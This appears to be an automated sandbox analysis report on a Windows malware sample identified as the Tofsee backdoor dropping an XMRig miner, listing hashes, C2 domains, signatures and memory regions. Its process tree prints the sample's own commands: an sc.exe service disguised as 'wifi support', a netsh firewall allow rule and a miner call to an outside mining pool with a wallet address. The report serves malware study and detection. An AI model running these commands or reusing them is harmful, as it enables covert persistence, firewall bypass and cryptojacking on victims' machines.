Analysis

  • max time kernel
    152s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    05-06-2022 02:31

General

  • Target

    32fb03570fb84c51296e6d349e34c047470f06c0676e595d058bba6000e6ebb0.exe

  • Size

    310KB

  • MD5

    2b7fc6f3d49664c17147bd2157cdea0b

  • SHA1

    e2156092ecab3ca0059a4a3eec79e13402a1743d

  • SHA256

    32fb03570fb84c51296e6d349e34c047470f06c0676e595d058bba6000e6ebb0

  • SHA512

    7b4fa723bf090103c3e9ef28c3530b06079390421c83a4ad7e995c71dd3830233f6e312d684e474ad7f250163e5ea340a92e1395623f70c15f0352bf5329c651

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\32fb03570fb84c51296e6d349e34c047470f06c0676e595d058bba6000e6ebb0.exe
    "C:\Users\Admin\AppData\Local\Temp\32fb03570fb84c51296e6d349e34c047470f06c0676e595d058bba6000e6ebb0.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1792
  • C:\Users\Admin\AppData\Local\Temp\E772.exe
    C:\Users\Admin\AppData\Local\Temp\E772.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
      "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:4224
  • C:\Users\Admin\AppData\Local\Temp\EE0A.exe
    C:\Users\Admin\AppData\Local\Temp\EE0A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yjablfyw\
      2⤵
        PID:4796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\irtljoza.exe" C:\Windows\SysWOW64\yjablfyw\
        2⤵
          PID:4840
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yjablfyw binPath= "C:\Windows\SysWOW64\yjablfyw\irtljoza.exe /d\"C:\Users\Admin\AppData\Local\Temp\EE0A.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yjablfyw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yjablfyw
          2⤵
          • Launches sc.exe
          PID:4468
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2744
      • C:\Windows\SysWOW64\yjablfyw\irtljoza.exe
        C:\Windows\SysWOW64\yjablfyw\irtljoza.exe /d"C:\Users\Admin\AppData\Local\Temp\EE0A.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3864
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3724
      • C:\Users\Admin\AppData\Local\Temp\AB8F.exe
        C:\Users\Admin\AppData\Local\Temp\AB8F.exe
        1⤵
        • Executes dropped EXE
        PID:4152
      • C:\Users\Admin\AppData\Local\Temp\B564.exe
        C:\Users\Admin\AppData\Local\Temp\B564.exe
        1⤵
          PID:196
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:2336
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:4964
            • C:\Users\Admin\AppData\Local\Temp\BC4A.exe
              C:\Users\Admin\AppData\Local\Temp\BC4A.exe
              1⤵
                PID:2852
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:2416
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:3504

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\AB8F.exe
                    Filesize

                    4.0MB

                    MD5

                    494298dd797eff60c8a0e5da5700f6a6

                    SHA1

                    cbe73e294675abb2c3fadcd430b678c6811ff605

                    SHA256

                    c163314e4b432b5bd2955f79a65ce05d0ff92e4cad74c6e2685424946dd87363

                    SHA512

                    871f2cda3d5034e69ae1f2d80ffe716a0d3f251622264ef9a0874e38246cf8902d7064192b9a1d7421a92c656dc1344c8b832393d5a7ee44defd11079de25488

                  • C:\Users\Admin\AppData\Local\Temp\AB8F.exe
                    Filesize

                    4.0MB

                    MD5

                    494298dd797eff60c8a0e5da5700f6a6

                    SHA1

                    cbe73e294675abb2c3fadcd430b678c6811ff605

                    SHA256

                    c163314e4b432b5bd2955f79a65ce05d0ff92e4cad74c6e2685424946dd87363

                    SHA512

                    871f2cda3d5034e69ae1f2d80ffe716a0d3f251622264ef9a0874e38246cf8902d7064192b9a1d7421a92c656dc1344c8b832393d5a7ee44defd11079de25488

                  • C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
                    Filesize

                    41KB

                    MD5

                    6a673bfc3b67ae9782cb31af2f234c68

                    SHA1

                    7544e89566d91e84e3cd437b9a073e5f6b56566e

                    SHA256

                    978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e

                    SHA512

                    72c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39

                  • C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
                    Filesize

                    41KB

                    MD5

                    6a673bfc3b67ae9782cb31af2f234c68

                    SHA1

                    7544e89566d91e84e3cd437b9a073e5f6b56566e

                    SHA256

                    978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e

                    SHA512

                    72c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39

                  • C:\Users\Admin\AppData\Local\Temp\B564.exe
                    Filesize

                    4.0MB

                    MD5

                    e548a5db7e04a8627fa928f0cfba8a74

                    SHA1

                    976591f972e588bee67825fb5dfcaca345c338ba

                    SHA256

                    6bf7bef9de2dcf0a7df5bd49ba7e6b96303bde5ebfda923b9b2cb04798be9472

                    SHA512

                    7ddd5fa359007f0085d55f7c6c9b990fd58b00718f2cf7c4b68d63a591a1565281493acf9a35e6e5011b684f49ad665d3c7be0626fa5c55d88b0c3e2c219fc12

                  • C:\Users\Admin\AppData\Local\Temp\B564.exe
                    Filesize

                    4.0MB

                    MD5

                    e548a5db7e04a8627fa928f0cfba8a74

                    SHA1

                    976591f972e588bee67825fb5dfcaca345c338ba

                    SHA256

                    6bf7bef9de2dcf0a7df5bd49ba7e6b96303bde5ebfda923b9b2cb04798be9472

                    SHA512

                    7ddd5fa359007f0085d55f7c6c9b990fd58b00718f2cf7c4b68d63a591a1565281493acf9a35e6e5011b684f49ad665d3c7be0626fa5c55d88b0c3e2c219fc12

                  • C:\Users\Admin\AppData\Local\Temp\BC4A.exe
                    Filesize

                    2.2MB

                    MD5

                    05fbc47649d9feb4628dcd97518e9bed

                    SHA1

                    88fc4d46f7642213158d64b05e451741dccf03ca

                    SHA256

                    249a5f60f9439a168a539c45a155cca08ff9e9b2fe132e61ad6ad199eed5e209

                    SHA512

                    e85feb6dce588228b2ccfeb8bf245777c5c992634f22508439185cf905f484101c90255bc0a58e9a7e242a94e48a17106356e8c94050c2a5b203227315c24059

                  • C:\Users\Admin\AppData\Local\Temp\BC4A.exe
                    Filesize

                    1.1MB

                    MD5

                    ebc29533b4320817273014c670cfc5fc

                    SHA1

                    fdb127081cbe2e559242dbde2bc55c66a7f0f951

                    SHA256

                    ff727c2642764324901f096705626c80f450dff11a62b9b104be8126626fcaa4

                    SHA512

                    4394ff686b14b906e9e6de2ed2b4564a117145a78538c235f8dc0d6f8ce4e2a887bec2db14f093801d06ad0faee2ed81f14937ddfeafbf79fb8d280e5676049c

                  • C:\Users\Admin\AppData\Local\Temp\E772.exe
                    Filesize

                    711KB

                    MD5

                    b5f6c4fb406978eb90663fb2b5300963

                    SHA1

                    95641f7580a9391b4918237eaf55f5708bf9a77e

                    SHA256

                    bf832373fe927c65e698798349604bd0d393fead3b19d3ab5266651896dc9f79

                    SHA512

                    bd10fb6728a0dbf1b6c899991747df97fd8601549863dd941296d817a1299e7793e2e094ac2ffa4586c5e664fe37098ecd7d12eca32f17b7f0ed4f0ebf0e5628

                  • C:\Users\Admin\AppData\Local\Temp\E772.exe
                    Filesize

                    711KB

                    MD5

                    b5f6c4fb406978eb90663fb2b5300963

                    SHA1

                    95641f7580a9391b4918237eaf55f5708bf9a77e

                    SHA256

                    bf832373fe927c65e698798349604bd0d393fead3b19d3ab5266651896dc9f79

                    SHA512

                    bd10fb6728a0dbf1b6c899991747df97fd8601549863dd941296d817a1299e7793e2e094ac2ffa4586c5e664fe37098ecd7d12eca32f17b7f0ed4f0ebf0e5628

                  • C:\Users\Admin\AppData\Local\Temp\EE0A.exe
                    Filesize

                    310KB

                    MD5

                    bf6d0008d88fb475e5bab35d77e8c3b2

                    SHA1

                    257ed85da7ec5aa3a2b1b2971d9e826ec7ada716

                    SHA256

                    9210cc6316fc565f4ecb3cf6913f93c2c8cff842fda030017a875a3b17b05f58

                    SHA512

                    f1e83c9853ab5fff501fda83fe9e9eaeec5ef27f0f1ea2d620d12f6a74758cb958c5128a284f3ad0e46fc73bb435ca3ee3858b247606e08feb14ba4b26a7724a

                  • C:\Users\Admin\AppData\Local\Temp\EE0A.exe
                    Filesize

                    310KB

                    MD5

                    bf6d0008d88fb475e5bab35d77e8c3b2

                    SHA1

                    257ed85da7ec5aa3a2b1b2971d9e826ec7ada716

                    SHA256

                    9210cc6316fc565f4ecb3cf6913f93c2c8cff842fda030017a875a3b17b05f58

                    SHA512

                    f1e83c9853ab5fff501fda83fe9e9eaeec5ef27f0f1ea2d620d12f6a74758cb958c5128a284f3ad0e46fc73bb435ca3ee3858b247606e08feb14ba4b26a7724a

                  • C:\Users\Admin\AppData\Local\Temp\irtljoza.exe
                    Filesize

                    13.1MB

                    MD5

                    c49596fc97348f03d4d4feb69d4c10e0

                    SHA1

                    ccf748d1b9fb102a7335fa6dda778243328aefa9

                    SHA256

                    19cdff35e2f09d71ff89089b7679be9add44950e6fca5d6c235fd204d4c42eac

                    SHA512

                    9135901c824c59ff4a79fc17b0b13f4a94f1a5ee35f585d00074e089bc9f2f6109af98cef2582e9e9a29d401b8456e70f142ada344dc43f1f51870757e177cca

                  • C:\Windows\SysWOW64\yjablfyw\irtljoza.exe
                    Filesize

                    13.1MB

                    MD5

                    c49596fc97348f03d4d4feb69d4c10e0

                    SHA1

                    ccf748d1b9fb102a7335fa6dda778243328aefa9

                    SHA256

                    19cdff35e2f09d71ff89089b7679be9add44950e6fca5d6c235fd204d4c42eac

                    SHA512

                    9135901c824c59ff4a79fc17b0b13f4a94f1a5ee35f585d00074e089bc9f2f6109af98cef2582e9e9a29d401b8456e70f142ada344dc43f1f51870757e177cca

                  • memory/196-740-0x0000000000000000-mapping.dmp
                  • memory/196-746-0x0000000001310000-0x00000000020D9000-memory.dmp
                    Filesize

                    13.8MB

                  • memory/1792-129-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-124-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-133-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-134-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-135-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-136-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-137-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-138-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-139-0x0000000000650000-0x000000000079A000-memory.dmp
                    Filesize

                    1.3MB

                  • memory/1792-141-0x0000000000400000-0x00000000004F3000-memory.dmp
                    Filesize

                    972KB

                  • memory/1792-140-0x0000000000620000-0x0000000000629000-memory.dmp
                    Filesize

                    36KB

                  • memory/1792-142-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-143-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-144-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-145-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-146-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-147-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-148-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-149-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-150-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-151-0x0000000000400000-0x00000000004F3000-memory.dmp
                    Filesize

                    972KB

                  • memory/1792-114-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-131-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-130-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-115-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-116-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-128-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-127-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-117-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-126-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-125-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-132-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-123-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-122-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-120-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-119-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/1792-118-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/2336-743-0x0000000000000000-mapping.dmp
                  • memory/2416-785-0x0000000000000000-mapping.dmp
                  • memory/2744-330-0x0000000000000000-mapping.dmp
                  • memory/2852-766-0x0000000000000000-mapping.dmp
                  • memory/3504-807-0x0000000000000000-mapping.dmp
                  • memory/3724-702-0x00000000010B259C-mapping.dmp
                  • memory/3808-183-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-440-0x0000000006770000-0x000000000677A000-memory.dmp
                    Filesize

                    40KB

                  • memory/3808-174-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-152-0x0000000000000000-mapping.dmp
                  • memory/3808-154-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-155-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-156-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-181-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-182-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-157-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-184-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-185-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-186-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-187-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-188-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-228-0x0000000000CD0000-0x0000000000DE8000-memory.dmp
                    Filesize

                    1.1MB

                  • memory/3808-234-0x0000000071D20000-0x00000000730AF000-memory.dmp
                    Filesize

                    19.6MB

                  • memory/3808-158-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-159-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-160-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-243-0x000000000A010000-0x000000000A50E000-memory.dmp
                    Filesize

                    5.0MB

                  • memory/3808-246-0x0000000009B10000-0x0000000009BAC000-memory.dmp
                    Filesize

                    624KB

                  • memory/3808-247-0x0000000070FE0000-0x00000000719F0000-memory.dmp
                    Filesize

                    10.1MB

                  • memory/3808-249-0x0000000009BB0000-0x0000000009C42000-memory.dmp
                    Filesize

                    584KB

                  • memory/3808-252-0x000000000A510000-0x000000000A860000-memory.dmp
                    Filesize

                    3.3MB

                  • memory/3808-161-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-163-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-164-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-165-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-290-0x000000006F860000-0x000000006FF9E000-memory.dmp
                    Filesize

                    7.2MB

                  • memory/3808-166-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-306-0x000000006F080000-0x000000006F860000-memory.dmp
                    Filesize

                    7.9MB

                  • memory/3808-309-0x000000006EF80000-0x000000006F07C000-memory.dmp
                    Filesize

                    1008KB

                  • memory/3808-167-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-574-0x0000000070FE0000-0x00000000719F0000-memory.dmp
                    Filesize

                    10.1MB

                  • memory/3808-568-0x000000006F080000-0x000000006F860000-memory.dmp
                    Filesize

                    7.9MB

                  • memory/3808-170-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-374-0x0000000000CD0000-0x0000000000DE8000-memory.dmp
                    Filesize

                    1.1MB

                  • memory/3808-396-0x0000000006450000-0x0000000006480000-memory.dmp
                    Filesize

                    192KB

                  • memory/3808-570-0x000000006EF80000-0x000000006F07C000-memory.dmp
                    Filesize

                    1008KB

                  • memory/3808-567-0x0000000071D20000-0x00000000730AF000-memory.dmp
                    Filesize

                    19.6MB

                  • memory/3808-564-0x000000006F860000-0x000000006FF9E000-memory.dmp
                    Filesize

                    7.2MB

                  • memory/3808-168-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/3808-503-0x0000000071D20000-0x00000000730AF000-memory.dmp
                    Filesize

                    19.6MB

                  • memory/3808-513-0x0000000009C90000-0x0000000009CAA000-memory.dmp
                    Filesize

                    104KB

                  • memory/3808-516-0x0000000007780000-0x0000000007786000-memory.dmp
                    Filesize

                    24KB

                  • memory/3808-522-0x0000000009A60000-0x0000000009A82000-memory.dmp
                    Filesize

                    136KB

                  • memory/3808-527-0x0000000070FE0000-0x00000000719F0000-memory.dmp
                    Filesize

                    10.1MB

                  • memory/3864-451-0x0000000000400000-0x00000000004F3000-memory.dmp
                    Filesize

                    972KB

                  • memory/3864-448-0x000000000075C000-0x000000000076D000-memory.dmp
                    Filesize

                    68KB

                  • memory/4152-739-0x0000000000A80000-0x0000000001848000-memory.dmp
                    Filesize

                    13.8MB

                  • memory/4152-736-0x0000000000000000-mapping.dmp
                  • memory/4224-584-0x0000000000400000-0x0000000000409000-memory.dmp
                    Filesize

                    36KB

                  • memory/4224-554-0x0000000000402DF5-mapping.dmp
                  • memory/4224-669-0x0000000000400000-0x0000000000409000-memory.dmp
                    Filesize

                    36KB

                  • memory/4248-235-0x0000000000580000-0x00000000006CA000-memory.dmp
                    Filesize

                    1.3MB

                  • memory/4248-237-0x0000000000580000-0x00000000006CA000-memory.dmp
                    Filesize

                    1.3MB

                  • memory/4248-334-0x0000000000400000-0x00000000004F3000-memory.dmp
                    Filesize

                    972KB

                  • memory/4248-175-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4248-179-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4248-177-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4248-176-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4248-173-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4248-169-0x0000000000000000-mapping.dmp
                  • memory/4248-242-0x0000000000400000-0x00000000004F3000-memory.dmp
                    Filesize

                    972KB

                  • memory/4248-178-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4248-172-0x0000000076F70000-0x00000000770FE000-memory.dmp
                    Filesize

                    1.6MB

                  • memory/4304-283-0x0000000000000000-mapping.dmp
                  • memory/4364-444-0x0000000000F79A6B-mapping.dmp
                  • memory/4364-528-0x0000000000F70000-0x0000000000F85000-memory.dmp
                    Filesize

                    84KB

                  • memory/4364-670-0x0000000000F70000-0x0000000000F85000-memory.dmp
                    Filesize

                    84KB

                  • memory/4468-315-0x0000000000000000-mapping.dmp
                  • memory/4796-259-0x0000000000000000-mapping.dmp
                  • memory/4840-267-0x0000000000000000-mapping.dmp
                  • memory/4964-767-0x00000000010D0000-0x00000000010D9000-memory.dmp
                    Filesize

                    36KB

                  • memory/4964-769-0x00000000010C0000-0x00000000010CF000-memory.dmp
                    Filesize

                    60KB

                  • memory/4964-760-0x0000000000000000-mapping.dmp
                  • memory/5004-297-0x0000000000000000-mapping.dmp